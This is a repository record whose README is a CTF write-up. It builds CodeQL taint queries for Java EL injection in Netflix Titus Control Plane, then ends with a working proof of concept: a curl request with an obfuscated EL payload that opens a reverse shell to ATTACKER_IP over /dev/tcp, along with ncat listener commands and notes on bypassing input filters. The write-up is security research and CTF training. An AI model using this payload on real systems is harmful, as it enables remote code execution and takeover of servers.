{"id":17843177,"url":"https://github.com/sin3point14/githubctf2020","last_synced_at":"2026-02-11T15:32:15.063Z","repository":{"id":101821640,"uuid":"266585728","full_name":"sin3point14/githubctf2020","owner":"sin3point14","description":"The runner up submission of Github CTF 2020","archived":false,"fork":false,"pushed_at":"2020-06-30T19:23:26.000Z","size":2679,"stargazers_count":2,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"master","last_synced_at":"2025-10-28T05:42:01.237Z","etag":null,"topics":["codeql"],"latest_commit_sha":null,"homepage":"","language":"CodeQL","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/sin3point14.png","metadata":{"files":{"readme":"Readme.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2020-05-24T16:57:50.000Z","updated_at":"2021-08-12T16:27:24.000Z","dependencies_parsed_at":null,"dependency_job_id":"1b984809-4e79-4c2d-be21-55e39f1b6e33","html_url":"https://github.com/sin3point14/githubctf2020","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/sin3point14/githubctf2020","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/sin3point14%2Fgithubctf2020","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/sin3point14%2Fgithubctf2020/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/sin3point14%2Fgithubctf2020/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/sin3point14%2Fgithubctf2020/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/sin3point14","download_url":"https://codeload.github.com/sin3point14/githubctf2020/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/sin3point14%2Fgithubctf2020/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":29336868,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-02-11T14:34:07.188Z","status":"ssl_error","status_checked_at":"2026-02-11T14:34:06.809Z","response_time":97,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.6:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["codeql"],"created_at":"2024-10-27T21:22:29.604Z","updated_at":"2026-02-11T15:32:15.046Z","avatar_url":"https://github.com/sin3point14.png","language":"CodeQL","readme":"# GitHub Security Lab CTF 4: CodeQL and Chill - The Java Edition\r\n\r\nIt was one heck of a challenge, I got to learn a hell lot and that's what matters the most :)  \r\n\r\n**EDIT:** Got the 2nd prize! [Woohoo!!](https://youtu.be/ub82Xb1C8os)\r\n\r\n### A brief description of the challenge\r\nThe Github Security team found a [SSTI RCE bug](https://securitylab.github.com/advisories/GHSL-2020-028-netflix-titus) in Netflix's Container Management Platform, [Titus Control Panel](https://github.com/Netflix/titus-control-plane/) and this CTF is modelled upon how one can find it and other similar bugs.  \r\n\r\nFind the CTF [here](https://securitylab.github.com/ctf/codeql-and-chill) and this report is a summary of how I dealt with all the steps.  \r\n\r\n\r\n\r\nFor explaining Step 1-3 I'll be giving the relevant, commented portion of the query for each step. A brief explanation will be there if needed.  \r\nAll the raw queries that I developed sequentially while solving the steps are available in [codeql/](codeql/) (One _may_ find an easter egg or two there).\r\n\r\n## Step 1: Data flow and taint tracking analysis\r\n\r\n### Step 1.1: Sources\r\n\r\n```codeql\r\npredicate isSource(DataFlow::Node source) {\r\n  exists(Method overriding, Method overridden|\r\n    // the isValid we are looking for should be an overriding method \r\n    overriding.overrides(overridden) and \r\n    // the method which is overridden should match the pattern\r\n    overridden.getQualifiedName().matches(\"ConstraintValidator\u003c%,%\u003e.isValid\") and\r\n    // source would be the first parameter of the overriding method\r\n    source.asParameter() = overriding.getParameter(0)\r\n  )\r\n}\r\n```\r\n\r\nQuick Eval gives-\r\n\r\n![6 Results](images/query/1.1.png)\r\n\r\n### Step 1.2: Sink\r\n\r\n```codeql\r\npredicate isSink(DataFlow::Node sink) {\r\n  exists(Call c|\r\n    // first argument of the call will be sink\r\n    c.getArgument(0) = sink.asExpr() and \r\n    // the calls of this function are the ones we're interested in\r\n    c.getCallee().getQualifiedName() = \"ConstraintValidatorContext.buildConstraintViolationWithTemplate\"\r\n  )\r\n}\r\n```\r\n\r\nQuick Eval Gives-\r\n\r\n![5 Results](images/query/1.2.png)\r\n\r\n### Step 1.3: TaintTracking configuration\r\n\r\n```codeql\r\n/** @kind path-problem */\r\nimport java\r\nimport semmle.code.java.dataflow.TaintTracking\r\nimport DataFlow::PathGraph\r\n\r\nclass ELInjectionTaintTrackingConfig extends TaintTracking::Configuration {\r\n    ELInjectionTaintTrackingConfig() { this = \"ELInjectionTaintTrackingConfig\" }\r\n\r\n    override predicate isSource(DataFlow::Node source) { ... }\r\n\r\n    override predicate isSink(DataFlow::Node sink) { ... }\r\n}\r\n\r\nfrom ELInjectionTaintTrackingConfig cfg, DataFlow::PathNode source, DataFlow::PathNode sink\r\nwhere cfg.hasFlowPath(source, sink)\r\nselect sink, source, sink, \"Custom constraint error message contains unsanitized user data\"\r\n```\r\n\r\nRunning Query gives-\r\n\r\n![0 Results](images/query/1.3.png)\r\n\r\n:(\r\n\r\n### Step 1.4: Partial Flow to the rescue\r\n\r\n```codeql\r\n\r\n/**\r\n* @kind path-problem\r\n*/\r\nimport java\r\nimport semmle.code.java.dataflow.TaintTracking\r\nimport DataFlow::PartialPathGraph // this is different!\r\n\r\nclass ELInjectionTaintTrackingConfig extends TaintTracking::Configuration {\r\n    ELInjectionTaintTrackingConfig() { this = \"ELInjectionTaintTrackingConfig\" } // same as before\r\n    override predicate isSource(DataFlow::Node source) // same as before\r\n    { ... }\r\n    override predicate isSink(DataFlow::Node sink) // same as before\r\n    { ... }\r\n    override int explorationLimit() { result =  10} // this is different!\r\n}\r\nfrom ELInjectionTaintTrackingConfig cfg, DataFlow::PartialPathNode source, DataFlow::PartialPathNode sink\r\nwhere\r\n  cfg.hasPartialFlow(source, sink, _) and\r\n    exists(Method m|\r\n        // The function whose first parameter will be our source for partial flow checking\r\n        m.getQualifiedName() = \"SchedulingConstraintSetValidator.isValid\" and\r\n        source.getNode().asParameter() = m.getParameter(0)\r\n    )\r\nselect sink, source, sink, \"Partial flow from unsanitized user data\"\r\n```\r\n\r\nRunning Query gives-\r\n\r\n![8 Results](images/query/1.4.png)\r\n\r\n### Step 1.5: Identifying a missing taint step\r\n\r\nThis step requires me to talk!?!?!  \r\nSo be it ¯\\\\\\_(ツ)\\_/¯\r\n\r\nThe first 4 results in the previous step concern us, so lets have a look at them-\r\n\r\n![Partial Query Locations](images/query/1.4.locs.png)\r\n\r\nIt can be seen that taint doesn't propagate through methods `getHardConstraints` and `getSoftConstraints` and my sixth sense says that the same would happen for `keySet`  \r\n\r\nNow that I've found the beast, It is time to kill it!\r\n\r\n### Step 1.6: Adding additional taint steps\r\n\r\nSo I added the required `step` predicate to both my normal flow tracking query and partial flow tacking query-\r\n\r\n```codeql\r\nclass CustomAdditionalStep extends TaintTracking::AdditionalTaintStep {\r\n    override predicate step(DataFlow::Node node1, DataFlow::Node node2) {\r\n        exists(MethodAccess ma, Callable c |\r\n            // spreead taint from the method access' qualifier\r\n            node1.asExpr() = ma.getQualifier() and\r\n            // to the method access\r\n            node2.asExpr() = ma and\r\n            c = ma.getCallee() and\r\n            // if\r\n            (\r\n                (\r\n                    // method accessed belongs to these\r\n                    c.getQualifiedName() in [\"Container.getSoftConstraints\", \"Container.getHardConstraints\"] \r\n                // or\r\n                ) or\r\n                (\r\n                    // the accessed method's name belong in these\r\n                    c.getName() in [\"keySet\"] and\r\n                    // add the class which declares it inherts from this\r\n                    c.getDeclaringType().getASupertype().getQualifiedName().matches(\"java.util.Map\u003c%\u003e\")\r\n                )\r\n            )\r\n        )\r\n    }\r\n}\r\n```\r\n\r\nRunning Normal Flow Query-\r\n\r\n![0 Results](images/query/1.6.1.png)\r\n\r\n:(\r\n\r\nRunning Partial Flow Query-\r\n\r\n![12 Results](images/query/1.6.2.png)\r\n\r\n:)\r\n\r\nThe 4 new Locations-\r\n\r\n![4 New Locations](images/query/1.6.2.locs.png)\r\n\r\n\r\n### Step 1.7: Adding taint steps through a constructor\r\n\r\nNow we can see that the taint doesn't flow through `HashSet`'s constructor so it is time to extend the `step` predicate-\r\n\r\n```codeql\r\nclass CustomAdditionalStep extends TaintTracking::AdditionalTaintStep {\r\n    override predicate step(DataFlow::Node node1, DataFlow::Node node2) {\r\n        //spread taint from\r\n        exists( ... )\r\n        or\r\n        exists(ConstructorCall cc |\r\n            // a constructor call's argument\r\n            node1.asExpr() = cc.getAnArgument() and\r\n            // to the constructor call\r\n            node2.asExpr() = cc and\r\n            // if the type constructed matches\r\n            cc.getConstructedType().getName().matches(\"HashSet\u003c%\u003e\")\r\n        )\r\n    }\r\n}\r\n```\r\n\r\nRunning Query-\r\n\r\n![5 New Locations](images/query/1.7.png)\r\n\r\n5 new results :)  \r\nThough by now I am tired of taking these location screenshots and editing them togetherm so here is the location that matters to us-\r\n\r\n![Taint spreads to HashSet Ctor](images/query/1.7.locs.png)\r\n\r\nHence the taint is indeed spreading to the constructor :)\r\n\r\n### Step 1.8: Finish line for our first issue\r\n\r\nSo here is the overview of the query-\r\n\r\n```codeql\r\n\r\n/** \r\n* @kind path-problem \r\n*/\r\nimport java\r\nimport semmle.code.java.dataflow.TaintTracking\r\nimport DataFlow::PathGraph\r\n\r\nclass CustomAdditionalStep extends TaintTracking::AdditionalTaintStep {\r\n    override predicate step(DataFlow::Node node1, DataFlow::Node node2) { ... }\r\n}\r\n\r\nclass ELInjectionTaintTrackingConfig extends TaintTracking::Configuration {\r\n    ELInjectionTaintTrackingConfig() { this = \"ELInjectionTaintTrackingConfig\" }\r\n\r\n    override predicate isSource(DataFlow::Node source) { ... }\r\n\r\n    override predicate isSink(DataFlow::Node sink) { ... }\r\n}\r\n\r\nfrom ELInjectionTaintTrackingConfig cfg, DataFlow::PathNode source, DataFlow::PathNode sink\r\nwhere cfg.hasFlowPath(source, sink)\r\nselect sink, source, sink, \"Custom constraint error message contains unsanitized user data\"\r\n```\r\n\r\nFind the full query [here](codeql/1.8.ql)\r\n\r\nRunning query-\r\n\r\n![1 Result](images/query/1.8.png)\r\n\r\nLocation-\r\n\r\n![1 Result](images/query/1.8.locs.png)\r\n\r\nWoohoo game's over, pack up time mates!\r\n\r\n### Step 2: Second Issue\r\n\r\n...or so I thought :'(\r\n\r\nSo I am supposed to look for a similar issue in `SchedulingConstraintValidator.java`. Lets have a look at the `isValid` method in this file\r\n\r\n![SchedulingConstraintValidator.isValid](images/2.code.png)\r\n\r\nSo it seems like there are a few more functions to allow the tain to pass through, namely- `stream`, `map`, `collect` and _theoretically_ that should be all. Now this should only need editing 1 line and commenting another in the previous query!\r\n\r\nLet me try showing what a diff between the 2 queries would look like-\r\n\r\n```codeql\r\n    /** \r\n    * @kind path-problem \r\n    */\r\n    import java\r\n    import semmle.code.java.dataflow.TaintTracking\r\n    import DataFlow::PathGraph\r\n\r\n    class CustomAdditionalStep extends TaintTracking::AdditionalTaintStep {\r\n        override predicate step(DataFlow::Node node1, DataFlow::Node node2) {\r\n            //spread taint from\r\n            exists(\r\n                ...\r\n                (\r\n                    (\r\n                        ...\r\n                    ) or\r\n                    (\r\n                        // it is an access of these methods\r\n-                       c.getName() in [\"keySet\"] and\r\n+                       c.getName() in [\"keySet\", \"stream\", \"map\", \"collect\"]\r\n-                       // from a type which inherits from this type\r\n-                       c.getDeclaringType().getASupertype().getQualifiedName().matches(\"java.util.Map\u003c%\u003e\")\r\n+                       // PS: removed the below line since now we have a lot of functions that belong to different classes and it isn't necessary to get all their types as the query is fast and retains it accuracy\r\n+                       // c.getDeclaringType().getASupertype().getQualifiedName().matches(\"java.util.Map\u003c%\u003e\")\r\n                    )\r\n                )\r\n            ) or\r\n            exists( ... )\r\n        }\r\n    }\r\n\r\n    class ELInjectionTaintTrackingConfig extends TaintTracking::Configuration {\r\n        ELInjectionTaintTrackingConfig() { this = \"ELInjectionTaintTrackingConfig\" }\r\n\r\n        override predicate isSource(DataFlow::Node source) { ... }\r\n\r\n        override predicate isSink(DataFlow::Node sink) { ... }\r\n    }\r\n\r\n    from ELInjectionTaintTrackingConfig cfg, DataFlow::PathNode source, DataFlow::PathNode sink\r\n    where cfg.hasFlowPath(source, sink)\r\n    select sink, source, sink, \"Custom constraint error message contains unsanitized user data\"\r\n```\r\n\r\nFind the full query [here](codeql/2.ql)\r\n\r\nRunning Query-\r\n\r\n![1 Result](images/query/2.png)\r\n\r\n1 New Location:\r\n\r\n![1 Result](images/query/2.locs.png)\r\n\r\nThis time I remember that there's Step 3.\r\n\r\n## Step 3: Errors and Exceptions\r\n\r\nI added a small thing here which I thought to be fitting-\r\n```java\r\ntry {\r\n    a.parse(b);\r\n} catch (Exception e) {\r\n    sink(e.getMessage())\r\n}\r\n```\r\nIf `parse` throws an exception which is caught as `e` then `step` should spread the taint from both `a` and `b` to `e.getMessage()` as the cause can be `a` as well.\r\n\r\nFor the heuristic to select the method;  \r\nMy first thought was that the method should return something out of the exception so I went through [the docs page for the Exception class](https://docs.oracle.com/javase/8/docs/api/java/lang/Exception.html) and found that these functions could return something useful -`getCause`, `getLocalisedMessage`, `getMessage`, `toString`. This is where I also observed something, three of them begin with `get` leading to me finding about the `GetterMethod` in codeql.  \r\nThough the description of `GetterMethod` didn't seem promising-\r\n\r\n\u003e A getter method is a method with the following properties:\r\n\u003e\r\n\u003e - it has no parameters,\r\n\u003e - its body contains exactly one statement that returns the value of a field.\r\n\r\nIt is clear that those 3 methods will be doing some processing than these 3 properties restrict and there is a very very small chance that a custom `Exception` would override them to make them a `GetterMethod`. I still had a go with it being heuristic and got 0 results :p.\r\n\r\nNow here is a recreation of my next thoughts... These \"get%\" patterned Exception methods do stuff and return it so there ought to be more such patterned methods in the custom exceptions. Basically I took the advantage of the good naming practices people follow while coding in Java :p.\r\n\r\nHence my final Heuristic is-\r\n\r\n- The method name should not be `getStackTrace`, `getSuppressed`, since they return useless things  \r\n\r\nAND \r\n\r\n(\r\n\r\n- The method name should follow the pattern `get%` or `Get%` or be `toString`\r\n\r\nOR\r\n\r\n- The method should be a `GetterMethod`, though this doesn't gice any results in our case there is still that very very small possibility it might work somewhere, someday.  \r\n\r\n)\r\n\r\nWithough further ado, here is the new class that was added-\r\n```codeql\r\nclass TryCatchAdditionalStep extends TaintTracking::AdditionalTaintStep {\r\n    override predicate step(DataFlow::Node node1, DataFlow::Node node2) {\r\n        exists(TryStmt ts, CatchClause cc, MethodAccess ma1, MethodAccess ma2, VarAccess va, string methodName, RefType caught|\r\n            // spread taint from a variable access\r\n            node1.asExpr() = va and\r\n            // which lies in a try block,\r\n            va.getEnclosingStmt() = ts.getBlock().getAChild() and\r\n            // is the qualifier(this is the thing I added :P) or an argument of a method access and\r\n            (ma1.getQualifier() = va or ma1.getAnArgument() = va) and\r\n            cc = ts.getACatchClause() and\r\n            caught = cc.getACaughtType() and\r\n            // throws an Exception which is caught by catch block associated with the try block\r\n            ma1.getCallee().getAThrownExceptionType().getASupertype*() = caught and\r\n            // to a method access\r\n            node2.asExpr() = ma2 and\r\n            // in that catch clause\r\n            ma2.getEnclosingStmt() = cc.getBlock().getAChild() and\r\n            // whose qualifier is the caught Exception variable\r\n            ma2.getQualifier() = cc.getVariable().getAnAccess() and\r\n            methodName = ma2.getCallee().getName() and\r\n            // and the method name follows the conditions that\r\n            ( \r\n                not (\r\n                    // it is not one of these\r\n                    methodName in [\"getStackTrace\", \"getSuppressed\"]\r\n                ) \r\n            ) and\r\n            (\r\n                // and\r\n                (\r\n                    // follows these\r\n                    methodName.matches(\"get%\") or methodName.matches(\"Get%\") or methodName = \"toString\"\r\n                // or\r\n                ) or\r\n                (\r\n                    // the method is a GetterMethod(though this has no reason to be here as I explained :/)\r\n                    ma2.getMethod() instanceof GetterMethod\r\n                )\r\n            )\r\n        )\r\n    }\r\n}\r\n```\r\n\r\nAlso if you want to try executing this yourselves please run Quick Evaluation on the predicate `evalme` in the [query file](codeql/3.ql). Running Quick Evaluation on the `step` predicate results in both of the overriding `step` predicates to be evaluated and will result in A LOT of extra results.\r\n\r\nHere's what you'll get if the Quick Evaluation is done correctly-\r\n\r\n![1675 Results](/images/query/3.png)\r\n\r\n## BONUS\r\n\r\nI didn't manage to complete this sadly :(  \r\nBut I did find some leads and will be show them  \r\n\r\nI managed to mark out all such variables in the source which will be validated by a `isValid` overriding method(and which method as well) which were found in Step 1.1  \r\n\r\nSo first I read about the ContraintValidation and [this tutorial of how to make a custom Validator](https://www.baeldung.com/spring-mvc-custom-validator) taught me how it works. Very briefly, A class(lets call it `ThatClass`) inherits from `ConstraintValidator\u003cA,B\u003e` declares an `isValid` method for the Generic's Type arguments. Then somewhere an AnnotationType is defined which has an annotation `Constraint` which will have `ThatClass.class` value passed in it. On whichever Class/Variable this annotation will be apllied it will be validate by `ThatClass.isValid`.  \r\nThis also describes what my query does-  \r\n\r\n```codeql\r\nVariable isSource(DataFlow::Node source) {\r\n  exists(Method overriding, Method overridden, RefType rt,\r\n    Annotation constraintAnnotation, Annotation interfaceAnnotation, \r\n    AnnotationType interfaceAnnotationType, ParameterizedType pt, \r\n    Annotatable a, Variable v|\r\n    // the isValid we are looking for should be an overriding method \r\n    overriding.overrides(overridden) and \r\n    // the method which is overridden should match the pattern\r\n    overridden.getQualifiedName().matches(\"ConstraintValidator\u003c%,%\u003e.isValid\") and\r\n    // source would be the first parameter of the overriding method\r\n    source.asParameter() = overriding.getParameter(0) and\r\n    // get the RefType of the overriding method's class\r\n    rt = overriding.getDeclaringType() and\r\n    // get all Constraint Annotations \r\n    constraintAnnotation.toString() = \"Constraint\" and\r\n    // Check if that annotation is applied on an AnnotationType\r\n    constraintAnnotation = interfaceAnnotationType.getAnAnnotation() and\r\n    // get the type of value passed in \"validatedBy\" field and it is a ParameterizedType \r\n    pt = constraintAnnotation.getValue(\"validatedBy\").getAChildExpr().getType() and\r\n    // A sanity check to make sure it is a SomeClass.class equiavlent to Class\u003cSomeClass\u003e \r\n    pt.getName().matches(\"Class\u003c%\u003e\") and\r\n    // Compare the SomeClass to the RefType of overriding method's class,\r\n    // hence interfaceAnnotationType would by the the AnnotationType to be \r\n    // validated by the overriding method\r\n    pt.getATypeArgument() = rt and\r\n    // linking AnnotationType to Annotation\r\n    interfaceAnnotation.getType() = interfaceAnnotationType and\r\n    // Check all Annotables for having the interfaceAnnotation\r\n    a.getAnAnnotation() = interfaceAnnotation and\r\n    (\r\n      (\r\n        // if Annotable is a variable \r\n        v = a\r\n      ) or\r\n      (\r\n        // if Annotable is a type\r\n        v.getType() = a\r\n      ) \r\n    ) and\r\n    // Variable should be from source\r\n    v.fromSource() and\r\n    // Return all Variables correspoinding to this overriding method\r\n    result = v\r\n  )\r\n}\r\n```\r\nFind the full query [here](codeql/1.1.bonus.ql)\r\n\r\nQuick Evaluation-\r\n\r\n![2404 Results](images/query/bonus.png)\r\n\r\nThe issue I faced was that I couldn't connect these variables to a `RemoteFlowSource`.\r\n- tried checking if any `VarAccess` of these was `RemoteFlowSource`\r\n- tried to setup TaintTracking from any of the `RemoteFlowSources` to the variables\r\n\r\nThe only possible thing I could see was if these variables were a field of the `RemoteFlowSource`s' Classes or perhaps a field in the fields' Classes or perhaps...  \r\nSo you see the issue, ^ I don't know where to stop :(  \r\n\r\n## Step 4: Exploit and remediation\r\n\r\n### Step 4.1: PoC\r\n\r\nTo get a shell, you'll need a system with ports 5060, 2222 free(and allowed through firewall). Also DO NOT change the port numbers anywhere as they _might_ interfere with payload logic\r\n\r\nReplace the following texts-\r\n- HOST_IP: with host IP Address or domain name\r\n- ATTACKER_IP: with your IP Address or domain name\r\n\r\n#### Step 1\r\nNow first get on 2 shells on your system and run-\r\n```bash\r\nncat -k -l -p 5060\r\nncat -k -l -p 2222\r\n```\r\n(I like ncat, but netcat's cool as well)\r\n\r\n#### Step 2\r\nNow run this curl request from anywhere and replace HOST_IP and ATTACKER_IP\r\n```bash\r\n    curl --location --request POST 'HOST_IP:7001/api/v3/jobs' \\\r\n    --header 'Content-Type: application/json' \\\r\n    --data-raw '{\r\n        \"container\": {\r\n            \"softConstraints\": {\r\n                \"constraints\": {\r\n                    \"#{'\\'''\\''.class.class.methods[14].invoke('\\'''\\''.class.class.methods[0].invoke('\\'''\\''.class, '\\''javax.script.1cript2ngine3anager'\\''.replace('\\''1'\\'', 83).replace('\\''2'\\'', 69).replace('\\''3'\\'', 77))).class.methods[1].invoke('\\'''\\''.class.class.methods[14].invoke('\\'''\\''.class.class.methods[0].invoke('\\'''\\''.class, '\\''javax.script.1cript2ngine3anager'\\''.replace('\\''1'\\'', 83).replace('\\''2'\\'', 69).replace('\\''3'\\'', 77))), '\\''js'\\'').class.methods[7].invoke('\\'''\\''.class.class.methods[14].invoke('\\'''\\''.class.class.methods[0].invoke('\\'''\\''.class, '\\''javax.script.1cript2ngine3anager'\\''.replace('\\''1'\\'', 83).replace('\\''2'\\'', 69).replace('\\''3'\\'', 77))).class.methods[1].invoke('\\'''\\''.class.class.methods[14].invoke('\\'''\\''.class.class.methods[0].invoke('\\'''\\''.class, '\\''javax.script.1cript2ngine3anager'\\''.replace('\\''1'\\'', 83).replace('\\''2'\\'', 69).replace('\\''3'\\'', 77))), '\\''js'\\''), '\\''1'\\'').class.methods[3].invoke('\\'''\\''.class.class.methods[14].invoke('\\'''\\''.class.class.methods[0].invoke('\\'''\\''.class, '\\''javax.script.1cript2ngine3anager'\\''.replace('\\''1'\\'', 83).replace('\\''2'\\'', 69).replace('\\''3'\\'', 77))).class.methods[1].invoke('\\'''\\''.class.class.methods[14].invoke('\\'''\\''.class.class.methods[0].invoke('\\'''\\''.class, '\\''javax.script.1cript2ngine3anager'\\''.replace('\\''1'\\'', 83).replace('\\''2'\\'', 69).replace('\\''3'\\'', 77))), '\\''js'\\'').class.methods[7].invoke('\\'''\\''.class.class.methods[14].invoke('\\'''\\''.class.class.methods[0].invoke('\\'''\\''.class, '\\''javax.script.1cript2ngine3anager'\\''.replace('\\''1'\\'', 83).replace('\\''2'\\'', 69).replace('\\''3'\\'', 77))).class.methods[1].invoke('\\'''\\''.class.class.methods[14].invoke('\\'''\\''.class.class.methods[0].invoke('\\'''\\''.class, '\\''javax.script.1cript2ngine3anager'\\''.replace('\\''1'\\'', 83).replace('\\''2'\\'', 69).replace('\\''3'\\'', 77))), '\\''js'\\''), '\\''java.lang.8untime.get9untime().exec(\\\" /bin/bash -c 'sh\\\u003c/dev/tcp/ATTACKER_IP/5060\\\u003e/dev/tcp/ATTACKER_IP/2222' \\\")'\\''.replace('\\''8'\\'', 82).replace('\\''9'\\'', 82))) + '\\'''\\''}\": \"IWantRickRollHereButIAmScared\"\r\n                }\r\n            }\r\n        },\r\n        \"service\": {\r\n            \"retryPolicy\": {\r\n                \"immediate\": {\r\n                    \"retries\": 10\r\n                }\r\n            }\r\n        }\r\n    }'\r\n```\r\n\r\n#### Step 3\r\nRun any `sh` command into the `5060` ncat connection\r\n\r\n#### Step 4\r\n???\r\n\r\n#### Step 5\r\n\r\n### PROFIT\r\n\r\n![An innocent application getting pwned](images/pwn.png)\r\n\r\n#### So what does that all gobbled up thingy do?\r\n\r\nBaby Steps- How did I figured this JSON and the endpoint out? \r\nThanks to netflix, they have a complete API documentation in their [titus-api-definitions](https://github.com/Netflix/titus-api-definitions) repository. The CodeQL shenanigans showed vulnerability in the constraint validator of the fields `softConstraints` and `hardConstraints` of Container class. So, if there's an endpoint that deserializes user controlled Container class, I get one step closer to RCE. One such enpoint is the endpoint that creates jobs using Job Descriptors, which in turn contains a Container - Bingo. All I had to do was to convert this [protobuf specification](https://github.com/Netflix/titus-api-definitions/blob/master/src/main/proto/netflix/titus/titus_job_api.proto) to REST JSON.\r\n\r\nNow it is time for me to know more about Java EL Injection and [this awesome report](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf) on exploit DB taught me all.\r\n\r\nAfter experimenting I observed that only Deferred EL Expressions seem to work and they are rather troublesome to work with. The main problem being-\r\n\r\n\u003e Deferred evaluation expressions take the form #{expr} and can be evaluated at other phases of a page lifecycle as defined by whatever technology is using the expression.  \r\n[Oracle Docs](https://docs.oracle.com/javaee/6/tutorial/doc/bnahr.html)\r\n\r\nSo I cannot use Multiple line payloads...\r\n\r\nAfter trying `#{7*7}` weirdly I couldn't get any other testing payload to work, then I struck this-\r\n```\r\n#{''.class + ''}\r\n```\r\nand in the output I got- \r\n```\r\n[class java.lang.String]\r\n```\r\n\r\nSo what must have happened is that by default all expressions aren't being evluated but when they are addded with a `''` the `toString()` method is called. Similar to how this works- \r\n```java\r\nSystem.out.println(1 + \" one\");\r\n```\r\n\r\nNext blocker is that sending UpperCase letters in the payload seems to break everything, probably everything is being converted to lowercase before execution. But there's a workaround for this ~(＾◇^)/. To see that let me clean up the relevant part of my payload first.\r\n\r\n```java\r\n''.class.class.newInstance.invoke(''.class.class.forName.invoke(''.class, 'javax.script.ScriptEngineManager')).class.getBindings.invoke(''.class.class.newInstance.invoke(''.class.class.forName.invoke(''.class, 'javax.script.ScriptEngineManager')), 'js').class.registerEngineMimeType.invoke(''.class.class.newInstance.invoke(''.class.class.forName.invoke(''.class, 'javax.script.ScriptEngineManager')).class.getBindings.invoke(''.class.class.newInstance.invoke(''.class.class.forName.invoke(''.class, 'javax.script.ScriptEngineManager')), 'js'), '1').class.getEngineByExtension.invoke(''.class.class.newInstance.invoke(''.class.class.forName.invoke(''.class, 'javax.script.ScriptEngineManager')).class.getBindings.invoke(''.class.class.newInstance.invoke(''.class.class.forName.invoke(''.class, 'javax.script.ScriptEngineManager')), 'js').class.registerEngineMimeType.invoke(''.class.class.newInstance.invoke(''.class.class.forName.invoke(''.class, 'javax.script.ScriptEngineManager')).class.getBindings.invoke(''.class.class.newInstance.invoke(''.class.class.forName.invoke(''.class, 'javax.script.ScriptEngineManager')), 'js'), 'java.lang.Runtime.getRuntime().exec(\\\" /bin/bash -c 'sh\u003c/dev/tcp/ATTACKER_IP/5060\u003e/dev/tcp/ATTACKER_IP/2222' \\\")')'\r\n``` \r\n \r\n_That's a lot of Reflection_\r\n \r\nWhich is a twisted way to run-\r\n```java\r\n${request.getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"java.lang.Runtime.getRuntime().exec(\\\\\\\"/bin/bash -c sh\u003c/dev/tcp/ATTACKER_IP/5060\u003e/dev/tcp/ATTACKER_IP/2222\\\\\\\")\"))}'\r\n```\r\n(this payload was taken from that expoit DB report or this [Github security lab report](https://securitylab.github.com/advisories/GHSL-2020-030-dropwizard) or perhaps both ¯\\\\\\_(ツ)\\_/¯ I don't remember)\r\n\r\nTo deal with the UpperCase issue I came up with 2 solutions-\r\n\r\n1. For Methods with uppercase letters in their name, I accessed using the `methods` array belonging to any `.class` object and using `invoke` reflection API to run it, eg `''.class.class.methods[14]` is used to access `java.lang.Class.forName(java.lang.String)`. Which method lies at which index? This came in handy in listing all of them- \r\n\r\n```java\r\nimport java.lang.reflect.*; \r\n\r\npublic class HelloWorld{\r\n\r\n     public static void main(String []args){\r\n        Class a = Class.class;\r\n        for (int i = 0; i\u003c a.getMethods().length; i++)\r\n        System.out.println(i + \" -\u003e \" + a.getMethods()[i] );\r\n     }\r\n}\r\n```\r\noutput-\r\n```\r\n0 -\u003e public static java.lang.Class java.lang.Class.forName(java.lang.String) throws java.lang.ClassNotFoundException\r\n...\r\n14 -\u003e public java.lang.Object java.lang.Class.newInstance() throws java.lang.InstantiationException,java.lang.IllegalAccessException\r\n...\r\n```\r\n\r\n2. For Strings with uppercase letters, I though of various ways after going through all of the methods the `String` class gives and various Java gimmicks- \r\n    - `'aaa'.concat(B)` to append an ascii value or ascii value tyecasted to char\r\n    - `aaa\\u0042`Escaping Unicode characters\r\n    - `'aaa'+(char)66` adding typecasted char directly to string\r\n    - `'aaa1'.replace('1', 66)` replacing a dummy value with the ascii value\r\n\r\nI spent hell lot of time on the first 3 but the last method, which seems the most absurd, worked... :/  \r\nSo, these expressions on my payload should start making sense-\r\n```java\r\n'javax.script.1cript2ngine3anager'.replace('1', 83).replace('2', 69).replace('3', 77)\r\n```\r\n\r\n\r\nAfter getting `exec()` working I faced another blocker, `sh` doesn't give input redirection and piping, and `/bin/bash -c \"command\"` was rejecting spaces in the `command`. After some googling and struck [gold](http://zoczus.blogspot.com/2013/10/en-unix-rce-without-spaces.html).  \r\n```bash\r\nsh\u003c/dev/tcp/xxxx.pl/5060\u003e/dev/tcp/xxxx.pl/2222\r\n```\r\nThis gave me an ez RCE as the `exec()` process is spawned as an independent process and I could freely communicate with `sh` over network :)  \r\n \r\nWhy I need `/bin/bash` there you ask?\r\n\r\n![meme](https://media1.tenor.com/images/24467e83309d18fa430340084a7d7ec1/tenor.gif)  \r\n\r\n### 